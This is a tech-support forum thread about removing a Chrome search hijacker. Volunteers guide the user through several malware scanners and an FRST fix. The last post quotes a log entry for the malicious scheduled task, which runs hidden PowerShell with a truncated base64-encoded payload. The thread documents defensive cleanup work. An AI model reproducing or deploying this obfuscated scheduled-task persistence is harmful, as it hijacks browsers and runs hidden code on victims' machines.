• Hi there and welcome to PC Help Forum (PCHF), a more effective way to get the Tech Support you need!
    We have Experts in all areas of Tech, including Malware Removal, Crash Fixing and BSOD's , Microsoft Windows, Computer DIY and PC Hardware, Networking, Gaming, Tablets and iPads, General and Specific Software Support and so much more.

    Why not Click Here To Sign Up and start enjoying great FREE Tech Support.

    This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Solved Chrome browser and search engine

Status
Not open for further replies.
O'Connor

O'Connor

PCHF Member
May 11, 2022
5
0
31
#1
Hello!



Over the weekend I let my friend use my computer, and now I am back Chrome is acting up.



Basically I start Chrome, and when I search it uses Google as it should. Suddenly the browser closes, and reopens and then anytime I use it, it uses Bing search engine with a weird URL. I have attached a screenshot.



I tried Spybot search and destroy pro, it found and removed a Torjan. It then worked fine for about an hour, and now its happening again. I have reinstalled Chrome too, with no luck.
 

Attachments

  • virus.PNG
    virus.PNG
    356.5 KB · Views: 3
#3
We can check for malware/virus...

Please download the FRST 32 bit or FRST 64bit version to suit your operating system. It is important FRST is downloaded to your desktop.

If you are unsure if your operating system is 32 or 64 Bit please go HERE.
Once downloaded right click the FRST desktop icon and select "Run as administrator" from the menu"
icon2.jpg
If you receive any security warnings, or the User Account Control warning opens at any time whilst using FRST you can safely allow FRST to proceed.
FRST will open with two dialogue boxes, accept the disclaimer.
frst disclaimer.jpg


  1. Accept the default whitelist options,
  2. If the additions.txt options box is not checked please select it.
  3. Then select Scan
frst.jpg
Frst will take a few minutes to scan your computer, and when finished will produce two log files on your desktop, FRST.txt, and Addition.txt. They will display immediately on the desktop, but can be reopened later as a notepad file.
2016-08-12_152002.jpg


Please Attach the contents of these logs in your next post for review by our Security Team
 
#4
Thanks, I have attached the files! I also took a video of it happening;

You can see a dodgy URL for a second when it changes. I did another scan and it says nothing, but it is still happening.

Thanks so much for your help!
 

Attachments

  • Addition.txt
    43.1 KB · Views: 1
  • FRST.txt
    43.5 KB · Views: 3
Last edited by a moderator:
#5
ZHP cleaner Scan.


Please download Zhp Cleaner to your desktop. Right Click the icon and select run as administrator.
Once you have started the program, you will need to click the scanner button.
The program will close all open browsers!
Once the scan is completed, the you will want to click the Repair button.
At the end of the process you may be asked to reboot your machine.
After you reboot a report will open on your desktop.
Attach the report here in your next reply.
 
#7
Issue still present?


Adware Cleaner
  • Download AdwCleaner and save it to your Desktop
  • Right-click on AdwCleaner.exeand select
  • Spcusrh.png

    Run as Administrator
  • Accept the EULA (I accept), then click on Scan Now
  • Let the scan complete
  • Once the scan completes, make sure that every item listed in the different tabs is checked and click on the Clean & Repair button
  • Subsequently you may be asked to Run Basic Repair. This is optional. I would suggest holding off on this for now.
  • Once the cleaning process is complete, AdwCleaner will ask you to restart your computer
  • Close all other open windows and allow it to restart
  • After the restart, Notepad will open with the AdwCleaner cleaning log
  • Please Attach the contents of that log into your next reply to me
 
#8
Hey! It did, for a while and now its back with a revenge, so now attempting the one above. Thanks for all your help - I fear a complete reboot may be in order
 
#10
Looking over FRST logs now.

Adware Removal Tool Scan.



Download Adware removal tool to your desktop, right click the icon and select Run as Administrator.
Click Scan
Hit Ok.
Hit next make sure to leave all items checked, for removal.
Click Next
The Program will close all open programs to complete the removal, so save any work and hit OK.
Then hit OK after the removal process is complete, thenOK again to finish up.
Post log generated by tool.


:)
 
#12
FRST Fix.
Download attached fixlist.txt file and save it to the Desktop. NOTE. It's important that both files, FRST/FRST64 and fixlist.txt are in the same location or the fix will not work. NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system Run FRST/FRST64 and press the Fix button just once and wait. If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run. When finished FRST will generate a log on the Desktop (Fixlog.txt). Please post it to your reply.
 

Attachments

  • fixlist.txt
    4.9 KB · Views: 11
#15
@O'Connor Solution was posted in the fixlist I created for you, but you chose to abandon the thread....

This task was the reason for your issue, so if you had followed my instructions the issue would have been resolved. Technically this is solved, so I am marking as such.

Task: {259410FC-F5AF-4570-8764-4099AF4BE75B} - System32\Tasks\chrome support => cmd /c powershell -WindowStyle Hidden -E "JAB2ACAAPQAgACIAMAAiADsACgAkAGwAdgAgAD0AIAAiADMAIgA7AAoAJABkACAAPQAgACIAdABvAG8AYgBsAHkAYwBhAHIAcwAuAGMAbwBtACIAOwAKACQAZQBwACAAPQAgACIAVwB5AEkAeQBNAEQASQB6AE8AVABVADMATQBUAE0AeABOAFQAUQB4AE4AegBZAHoATgBEAE0AaQBMAEQARQAyAE4ARABZADAATQBEAGcANQBOAHoAUgBkACIAOwAKAA (the data entry has 4547 more characters). <==== ATTENTION
 
Status
Not open for further replies.
Top Bottom
Back
Forums
Resources
Menu